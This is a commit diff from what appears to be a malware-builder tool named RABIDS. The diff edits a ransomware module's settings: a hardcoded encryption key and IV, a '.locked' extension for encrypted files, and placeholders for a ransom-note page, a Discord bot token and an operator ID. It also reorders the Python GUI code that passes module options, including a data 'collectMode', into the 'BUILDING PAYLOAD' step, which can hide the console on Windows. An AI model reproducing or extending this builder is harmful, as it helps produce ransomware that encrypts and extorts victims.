Fixed Module Button

This commit is contained in:
Sarwar 🧃
2025-09-08 00:58:32 +05:00
parent 9658972e7e
commit 17e44f9d27
3 changed files with 9 additions and 8 deletions

Binary file not shown.

View File

@ -54,9 +54,9 @@ const defaultHtml = """
const key* = "0123456789abcdef0123456789abcdef"
const iv* = "abcdef9876543210"
const extension* = ".locked"
var htmlContent* = ""
const discordToken* = ""
const creatorId* = ""
var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE"
const discordToken* = "YOUR_DISCORD_BOT_TOKEN"
const creatorId* = "YOUR_DISCORD_USER_ID"
proc processFile(file: string, key: string, iv: string, extension: string) =
try:

11
main.py
View File

@ -1145,6 +1145,12 @@ class RABIDSGUI(QMainWindow):
self.update_all_option_values()
options = []
for module_name in self.selected_modules:
if module_name in self.current_option_values:
for option_name, value in self.current_option_values[module_name].items():
options.append(f"--option={option_name}={value}")
if 'module/dumpster' in self.selected_modules:
if not any("collectMode" in opt or "restoreMode" in opt for opt in options):
options.append("--option=collectMode=true")
@ -1157,11 +1163,6 @@ class RABIDSGUI(QMainWindow):
if self.hide_console_check.isChecked() and self.target_os_combo.currentText() == "windows":
cmd.append("--hide-console")
options = []
for module_name in self.selected_modules:
if module_name in self.current_option_values:
for option_name, value in self.current_option_values[module_name].items():
options.append(f"--option={option_name}={value}")
cmd.extend(options)
self.module_options_group.setTitle("BUILDING PAYLOAD...")